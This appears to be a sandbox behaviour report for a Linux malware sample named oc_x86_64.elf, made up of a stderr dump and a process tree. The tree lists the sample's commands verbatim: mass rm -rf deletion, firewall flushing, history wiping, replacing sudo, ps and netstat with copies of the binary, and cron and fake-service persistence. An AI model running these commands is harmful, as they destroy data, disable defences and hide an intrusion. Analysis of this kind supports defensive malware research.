Standard Error:	Failed to stop iptables.service: Unit iptables.service not loaded. Failed to stop firewall.service: Unit firewall.service not loaded. sh: 1: history: not found sh: 1: history: not found mv: cannot stat '/usr/bin/sudo': No such file or directory mv: cannot stat '/usr/bin/top': No such file or directory mv: cannot stat '/usr/bin/find': No such file or directory mv: cannot stat '/usr/bin/ssh': No such file or directory mv: cannot stat '/usr/bin/wget': No such file or directory mv: cannot stat '/usr/bin/head': No such file or directory mv: cannot stat '/usr/bin/tail': No such file or directory mv: cannot stat '/usr/bin/man': No such file or directory mv: cannot stat '/usr/bin/lsof': No such file or directory mv: cannot stat '/usr/bin/awk': No such file or directory mv: cannot stat '/usr/bin/ps': No such file or directory mv: cannot stat '/usr/bin/wc': No such file or directory mv: cannot stat '/usr/bin/netstat': No such file or directory sh: 1: Syntax error: "(" unexpected mv: sh: 1: cannot stat '/usr/bin/du'Syntax error: "(" unexpected : No such file or directory sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected mv: cannot stat '/usr/bin/ss'sh: 1: Syntax error: "(" unexpected: No such file or directory sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected mv: cannot stat '/usr/bin/ps': No such file or directory sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected mv: cannot stat '/usr/bin/netstat'sh: 1: Syntax error: "(" unexpected : No such file or directory sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected /var/spool/cron: No such file or directory /var/spool/cron: mkdir: No such file or directory sh: 1: echo: sh: 1: echo: I/O errorSyntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected sh: 1: Syntax error: "(" unexpected /var/spool/cron: No such file or directory /var/spool/cron: mkdir: No such file or directory Synchronizing state of nginnx.service with SysV service script with /lib/systemd/systemd-sysv-install. Executing: /lib/systemd/systemd-sysv-install enable nginnx sh: 1: echo: echo: I/O error Synchronizing state of nginnx.service with SysV service script with /lib/systemd/systemd-sysv-install. Executing: /lib/systemd/systemd-sysv-install enable nginnx update-rc.d: error: nginnx Default-Start contains no runlevels, aborting. Job for nginnx.service failed because the control process exited with error code. See "systemctl status nginnx.service" and "journalctl -xe" for details. update-rc.d: error: nginnx Default-Start contains no runlevels, aborting. Synchronizing state of nginnx.service with SysV service script with /lib/systemd/systemd-sysv-install. Executing: /lib/systemd/systemd-sysv-install enable nginnx Job for nginnx.service failed because the control process exited with error code. See "systemctl status nginnx.service" and "journalctl -xe" for details. update-rc.d: error: nginnx Default-Start contains no runlevels, aborting. sh: 1: /dev/ocmount: Permission denied Synchronizing state of nginnx.service with SysV service script with /lib/systemd/systemd-sysv-install. Executing: /lib/systemd/systemd-sysv-install enable nginnx update-rc.d: error: nginnx Default-Start contains no runlevels, aborting. sh: 1: /dev/ocmount: Permission denied

Process Tree

system is lnxubuntu20

oc_x86_64.elf (PID: 5490, Parent: 5414, MD5: eb3ad86638ce51148233baedf0736975) Arguments: /tmp/oc_x86_64.elf

oc_x86_64.elf New Fork (PID: 5491, Parent: 5490)

sh (PID: 5491, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf /tmp/* /var/* /var/run/* /var/tmp/* /var/log/wtmp"

sh New Fork (PID: 5492, Parent: 5491)

rm (PID: 5492, Parent: 5491, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /tmp/config-err-jFiNWb /tmp/dmesgtail.log /tmp/hsperfdata_root /tmp/oc_x86_64.elf /tmp/snap-private-tmp /tmp/snap.lxd /tmp/ssh-qf3lAyPpWVCU /tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-ModemManager.service-OhEyzg /tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-colord.service-8ySu1e /tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-fwupd.service-LnNSgh /tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-switcheroo-control.service-ol8bni /tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-systemd-logind.service-LPFY4g /tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-systemd-resolved.service-O3uVvg /tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-systemd-timedated.service-bx1kOg /tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-upower.service-CBTCVe /tmp/vmware-root_726-2957583432 /var/backups /var/cache /var/crash /var/lib /var/local /var/lock /var/log /var/mail /var/metrics /var/opt /var/run /var/snap /var/spool /var/tmp /var/run/NetworkManager /var/run/acpid.pid /var/run/acpid.socket /var/run/apport.lock /var/run/avahi-daemon /var/run/blkid /var/run/cloud-init /var/run/console-setup /var/run/crond.pid /var/run/crond.reboot /var/run/cryptsetup /var/run/cups /var/run/dbus /var/run/dmeventd-client /var/run/dmeventd-server /var/run/gdm3 /var/run/gdm3.pid /var/run/initctl /var/run/initramfs /var/run/irqbalance /var/run/lock /var/run/log /var/run/lvm /var/run/mono-xsp4 /var/run/mono-xsp4.pid /var/run/motd.d /var/run/mount /var/run/multipathd.pid /var/run/netns /var/run/network /var/run/screen /var/run/sendsigs.omit.d /var/run/shm /var/run/snapd /var/run/snapd-snap.socket /var/run/snapd.socket /var/run/speech-dispatcher /var/run/spice-vdagentd /var/run/sshd /var/run/sshd.pid /var/run/sudo /var/run/systemd /var/run/tmpfiles.d /var/run/udev /var/run/udisks2 /var/run/user /var/run/utmp /var/run/uuidd /var/run/vmware /var/tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-ModemManager.service-K5j1Of /var/tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-colord.service-sPszWi /var/tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-fwupd.service-tNkLag /var/tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-switcheroo-control.service-EvKsMg /var/tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-systemd-logind.service-0DTUmj /var/tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-systemd-resolved.service-fe4hsi /var/tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-systemd-timedated.service-B126Ih /var/tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-upower.service-Lb1VUf /var/log/wtmp

oc_x86_64.elf New Fork (PID: 5498, Parent: 5490)

sh (PID: 5498, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf /tmp/*"

sh New Fork (PID: 5499, Parent: 5498)

rm (PID: 5499, Parent: 5498, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /tmp/*

oc_x86_64.elf New Fork (PID: 5500, Parent: 5490)

sh (PID: 5500, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "iptables -F"

sh New Fork (PID: 5501, Parent: 5500)

iptables (PID: 5501, Parent: 5500, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -F

oc_x86_64.elf New Fork (PID: 5505, Parent: 5490)

sh (PID: 5505, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pkill -9 busybox"

sh New Fork (PID: 5506, Parent: 5505)

pkill (PID: 5506, Parent: 5505, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pkill -9 busybox

oc_x86_64.elf New Fork (PID: 5512, Parent: 5490)

sh (PID: 5512, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pkill -9 perl"

sh New Fork (PID: 5513, Parent: 5512)

pkill (PID: 5513, Parent: 5512, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pkill -9 perl

oc_x86_64.elf New Fork (PID: 5520, Parent: 5490)

sh (PID: 5520, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pkill -9 python"

sh New Fork (PID: 5521, Parent: 5520)

pkill (PID: 5521, Parent: 5520, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pkill -9 python

oc_x86_64.elf New Fork (PID: 5524, Parent: 5490)

sh (PID: 5524, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "service iptables stop"

sh New Fork (PID: 5525, Parent: 5524)

service (PID: 5525, Parent: 5524, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: service iptables stop

service New Fork (PID: 5526, Parent: 5525)

basename (PID: 5526, Parent: 5525, MD5: 3283660e59f128df18bec9b96fbd4d41) Arguments: basename /usr/sbin/service

service New Fork (PID: 5527, Parent: 5525)

basename (PID: 5527, Parent: 5525, MD5: 3283660e59f128df18bec9b96fbd4d41) Arguments: basename /usr/sbin/service

service New Fork (PID: 5528, Parent: 5525)

systemctl (PID: 5528, Parent: 5525, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-active multi-user.target

service New Fork (PID: 5529, Parent: 5525)

service New Fork (PID: 5530, Parent: 5529)

systemctl (PID: 5530, Parent: 5529, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl list-unit-files --full --type=socket

service New Fork (PID: 5531, Parent: 5529)

sed (PID: 5531, Parent: 5529, MD5: 885062561f66aa1d4af4c54b9e7cc81a) Arguments: sed -ne s/\\.socket\\s*[a-z]*\\s*$/.socket/p

systemctl (PID: 5525, Parent: 5524, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl stop iptables.service

oc_x86_64.elf New Fork (PID: 5532, Parent: 5490)

sh (PID: 5532, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "/sbin/iptables -F; /sbin/iptables -X"

sh New Fork (PID: 5533, Parent: 5532)

iptables (PID: 5533, Parent: 5532, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: /sbin/iptables -F

sh New Fork (PID: 5534, Parent: 5532)

iptables (PID: 5534, Parent: 5532, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: /sbin/iptables -X

oc_x86_64.elf New Fork (PID: 5536, Parent: 5490)

sh (PID: 5536, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "service firewall stop"

sh New Fork (PID: 5537, Parent: 5536)

service (PID: 5537, Parent: 5536, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: service firewall stop

service New Fork (PID: 5538, Parent: 5537)

basename (PID: 5538, Parent: 5537, MD5: 3283660e59f128df18bec9b96fbd4d41) Arguments: basename /usr/sbin/service

service New Fork (PID: 5539, Parent: 5537)

basename (PID: 5539, Parent: 5537, MD5: 3283660e59f128df18bec9b96fbd4d41) Arguments: basename /usr/sbin/service

service New Fork (PID: 5540, Parent: 5537)

systemctl (PID: 5540, Parent: 5537, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-active multi-user.target

service New Fork (PID: 5541, Parent: 5537)

service New Fork (PID: 5542, Parent: 5541)

systemctl (PID: 5542, Parent: 5541, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl list-unit-files --full --type=socket

service New Fork (PID: 5543, Parent: 5541)

sed (PID: 5543, Parent: 5541, MD5: 885062561f66aa1d4af4c54b9e7cc81a) Arguments: sed -ne s/\\.socket\\s*[a-z]*\\s*$/.socket/p

systemctl (PID: 5537, Parent: 5536, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl stop firewall.service

oc_x86_64.elf New Fork (PID: 5546, Parent: 5490)

sh (PID: 5546, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "history -c"

oc_x86_64.elf New Fork (PID: 5547, Parent: 5490)

sh (PID: 5547, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf ~/.bash_history"

sh New Fork (PID: 5548, Parent: 5547)

rm (PID: 5548, Parent: 5547, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /root/.bash_history

oc_x86_64.elf New Fork (PID: 5549, Parent: 5490)

sh (PID: 5549, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "history -w"

oc_x86_64.elf New Fork (PID: 5550, Parent: 5490)

oc_x86_64.elf New Fork (PID: 5551, Parent: 5550)

sh (PID: 5551, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/sudo /usr/bin/sudooc"

sh New Fork (PID: 5554, Parent: 5551)

mv (PID: 5554, Parent: 5551, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/sudo /usr/bin/sudooc

oc_x86_64.elf New Fork (PID: 5557, Parent: 5550)

sh (PID: 5557, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/top /usr/bin/topoc"

sh New Fork (PID: 5558, Parent: 5557)

mv (PID: 5558, Parent: 5557, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/top /usr/bin/topoc

oc_x86_64.elf New Fork (PID: 5561, Parent: 5550)

sh (PID: 5561, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/find /usr/bin/findoc"

sh New Fork (PID: 5563, Parent: 5561)

mv (PID: 5563, Parent: 5561, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/find /usr/bin/findoc

oc_x86_64.elf New Fork (PID: 5567, Parent: 5550)

sh (PID: 5567, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/ssh /usr/bin/sshoc"

sh New Fork (PID: 5568, Parent: 5567)

mv (PID: 5568, Parent: 5567, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/ssh /usr/bin/sshoc

oc_x86_64.elf New Fork (PID: 5571, Parent: 5550)

sh (PID: 5571, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/wget /usr/bin/wgetoc"

sh New Fork (PID: 5573, Parent: 5571)

mv (PID: 5573, Parent: 5571, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/wget /usr/bin/wgetoc

oc_x86_64.elf New Fork (PID: 5575, Parent: 5550)

sh (PID: 5575, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/head /usr/bin/headoc"

sh New Fork (PID: 5577, Parent: 5575)

mv (PID: 5577, Parent: 5575, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/head /usr/bin/headoc

oc_x86_64.elf New Fork (PID: 5581, Parent: 5550)

sh (PID: 5581, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/tail /usr/bin/tailoc"

sh New Fork (PID: 5582, Parent: 5581)

mv (PID: 5582, Parent: 5581, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/tail /usr/bin/tailoc

oc_x86_64.elf New Fork (PID: 5585, Parent: 5550)

sh (PID: 5585, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/man /usr/bin/manoc"

sh New Fork (PID: 5587, Parent: 5585)

mv (PID: 5587, Parent: 5585, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/man /usr/bin/manoc

oc_x86_64.elf New Fork (PID: 5591, Parent: 5550)

sh (PID: 5591, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/lsof /usr/bin/lsofoc"

sh New Fork (PID: 5592, Parent: 5591)

mv (PID: 5592, Parent: 5591, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/lsof /usr/bin/lsofoc

oc_x86_64.elf New Fork (PID: 5595, Parent: 5550)

sh (PID: 5595, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/awk /usr/bin/awkoc"

sh New Fork (PID: 5597, Parent: 5595)

mv (PID: 5597, Parent: 5595, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/awk /usr/bin/awkoc

oc_x86_64.elf New Fork (PID: 5599, Parent: 5550)

sh (PID: 5599, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/wc /usr/bin/wcoc"

sh New Fork (PID: 5600, Parent: 5599)

mv (PID: 5600, Parent: 5599, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/wc /usr/bin/wcoc

oc_x86_64.elf New Fork (PID: 5603, Parent: 5550)

sh (PID: 5603, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/du /usr/bin/duoc"

sh New Fork (PID: 5604, Parent: 5603)

mv (PID: 5604, Parent: 5603, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/du /usr/bin/duoc

oc_x86_64.elf New Fork (PID: 5608, Parent: 5550)

sh (PID: 5608, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/ss /usr/bin/ssoc"

sh New Fork (PID: 5610, Parent: 5608)

mv (PID: 5610, Parent: 5608, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/ss /usr/bin/ssoc

oc_x86_64.elf New Fork (PID: 5615, Parent: 5550)

sh (PID: 5615, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/ps /usr/bin/psoc"

sh New Fork (PID: 5616, Parent: 5615)

mv (PID: 5616, Parent: 5615, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/ps /usr/bin/psoc

oc_x86_64.elf New Fork (PID: 5639, Parent: 5550)

sh (PID: 5639, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/netstat /usr/bin/netstatoc"

sh New Fork (PID: 5641, Parent: 5639)

mv (PID: 5641, Parent: 5639, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/netstat /usr/bin/netstatoc

oc_x86_64.elf New Fork (PID: 5646, Parent: 5550)

sh (PID: 5646, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /boot/systems.d"

oc_x86_64.elf New Fork (PID: 5648, Parent: 5550)

sh (PID: 5648, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /boot/System.imgx.config"

oc_x86_64.elf New Fork (PID: 5650, Parent: 5550)

sh (PID: 5650, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /etc/id.oc1337.conf"

oc_x86_64.elf New Fork (PID: 5652, Parent: 5550)

sh (PID: 5652, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /tmp/systems"

oc_x86_64.elf New Fork (PID: 5654, Parent: 5550)

sh (PID: 5654, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/sudo"

oc_x86_64.elf New Fork (PID: 5655, Parent: 5550)

sh (PID: 5655, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/du"

oc_x86_64.elf New Fork (PID: 5657, Parent: 5550)

sh (PID: 5657, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/find"

oc_x86_64.elf New Fork (PID: 5659, Parent: 5550)

sh (PID: 5659, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/lsof"

oc_x86_64.elf New Fork (PID: 5662, Parent: 5550)

sh (PID: 5662, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/awk"

oc_x86_64.elf New Fork (PID: 5664, Parent: 5550)

sh (PID: 5664, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/wc"

oc_x86_64.elf New Fork (PID: 5668, Parent: 5550)

sh (PID: 5668, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/head"

oc_x86_64.elf New Fork (PID: 5669, Parent: 5550)

sh (PID: 5669, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/tail"

oc_x86_64.elf New Fork (PID: 5670, Parent: 5550)

sh (PID: 5670, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/man"

oc_x86_64.elf New Fork (PID: 5672, Parent: 5550)

sh (PID: 5672, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/wget"

oc_x86_64.elf New Fork (PID: 5675, Parent: 5550)

sh (PID: 5675, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/ssh"

oc_x86_64.elf New Fork (PID: 5676, Parent: 5550)

sh (PID: 5676, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/top"

oc_x86_64.elf New Fork (PID: 5677, Parent: 5550)

sh (PID: 5677, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/ss"

oc_x86_64.elf New Fork (PID: 5678, Parent: 5550)

sh (PID: 5678, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/ps"

oc_x86_64.elf New Fork (PID: 5679, Parent: 5550)

sh (PID: 5679, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/netstat"

oc_x86_64.elf New Fork (PID: 5682, Parent: 5550)

sh (PID: 5682, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/init.d/nginnx"

sh New Fork (PID: 5686, Parent: 5682)

chmod (PID: 5686, Parent: 5682, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/nginnx

oc_x86_64.elf New Fork (PID: 5688, Parent: 5550)

sh (PID: 5688, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/octopus"

sh New Fork (PID: 5689, Parent: 5688)

chmod (PID: 5689, Parent: 5688, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/octopus

oc_x86_64.elf New Fork (PID: 5690, Parent: 5550)

sh (PID: 5690, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "(crontab -l 2>/dev/null; echo \"@reboot /boot/systems.d\") | crontab -"

sh New Fork (PID: 5691, Parent: 5690)

sh New Fork (PID: 5693, Parent: 5691)

crontab (PID: 5693, Parent: 5691, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -l

sh New Fork (PID: 5692, Parent: 5690)

crontab (PID: 5692, Parent: 5690, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -

oc_x86_64.elf New Fork (PID: 5695, Parent: 5550)

sh (PID: 5695, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "echo '* * * * * root /bin/bash /dev/octopus' > /etc/cron.d/scriptd"

oc_x86_64.elf New Fork (PID: 5697, Parent: 5550)

sh (PID: 5697, Parent: 5550, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl daemon-reload;systemctl enable nginnx.service;systemctl start nginnx.service;sh -c systemctl daemon-reload;systemctl enable nginnx"

sh New Fork (PID: 5698, Parent: 5697)

systemctl (PID: 5698, Parent: 5697, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

sh New Fork (PID: 5704, Parent: 5697)

systemctl (PID: 5704, Parent: 5697, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable nginnx.service

systemctl New Fork (PID: 5709, Parent: 5704)

systemd-sysv-install (PID: 5709, Parent: 5704, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /lib/systemd/systemd-sysv-install enable nginnx

systemd-sysv-install New Fork (PID: 5710, Parent: 5709)

getopt (PID: 5710, Parent: 5709, MD5: 1a12f43596437b1bf346d52618b3b1b7) Arguments: getopt -o r: --long root: -- enable nginnx

systemd-sysv-install New Fork (PID: 5712, Parent: 5709)

update-rc.d (PID: 5712, Parent: 5709, MD5: 16a21f464119ea7fad1d3660de963637) Arguments: /usr/sbin/update-rc.d nginnx defaults

update-rc.d New Fork (PID: 5714, Parent: 5712)

systemctl (PID: 5714, Parent: 5712, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

systemd-sysv-install New Fork (PID: 5722, Parent: 5709)

update-rc.d (PID: 5722, Parent: 5709, MD5: 16a21f464119ea7fad1d3660de963637) Arguments: /usr/sbin/update-rc.d nginnx enable

sh New Fork (PID: 5724, Parent: 5697)

systemctl (PID: 5724, Parent: 5697, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl start nginnx.service

sh New Fork (PID: 5732, Parent: 5697)

sh (PID: 5732, Parent: 5697, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c systemctl daemon-reload

sh New Fork (PID: 5733, Parent: 5732)

systemctl (PID: 5733, Parent: 5732, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl

sh New Fork (PID: 5740, Parent: 5697)

systemctl (PID: 5740, Parent: 5697, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable nginnx

systemctl New Fork (PID: 5787, Parent: 5740)

systemd-sysv-install (PID: 5787, Parent: 5740, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /lib/systemd/systemd-sysv-install enable nginnx

systemd-sysv-install New Fork (PID: 5788, Parent: 5787)

getopt (PID: 5788, Parent: 5787, MD5: 1a12f43596437b1bf346d52618b3b1b7) Arguments: getopt -o r: --long root: -- enable nginnx

systemd-sysv-install New Fork (PID: 5789, Parent: 5787)

update-rc.d (PID: 5789, Parent: 5787, MD5: 16a21f464119ea7fad1d3660de963637) Arguments: /usr/sbin/update-rc.d nginnx defaults

update-rc.d New Fork (PID: 5803, Parent: 5789)

systemctl (PID: 5803, Parent: 5789, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

systemd-sysv-install New Fork (PID: 5807, Parent: 5787)

update-rc.d (PID: 5807, Parent: 5787, MD5: 16a21f464119ea7fad1d3660de963637) Arguments: /usr/sbin/update-rc.d nginnx enable

oc_x86_64.elf New Fork (PID: 5810, Parent: 5550)

oc_x86_64.elf New Fork (PID: 5811, Parent: 5550)

oc_x86_64.elf New Fork (PID: 5812, Parent: 5550)

oc_x86_64.elf New Fork (PID: 5813, Parent: 5812)

sh (PID: 5813, Parent: 5812, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /dev/ocmount"

sh New Fork (PID: 5815, Parent: 5813)

chmod (PID: 5815, Parent: 5813, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /dev/ocmount

oc_x86_64.elf New Fork (PID: 5816, Parent: 5812)

sh (PID: 5816, Parent: 5812, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "echo '* * * * * root /bin/bash /dev/ocmount' > /etc/cron.d/mount.sh"

oc_x86_64.elf New Fork (PID: 5817, Parent: 5812)

sh (PID: 5817, Parent: 5812, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c /dev/ocmount

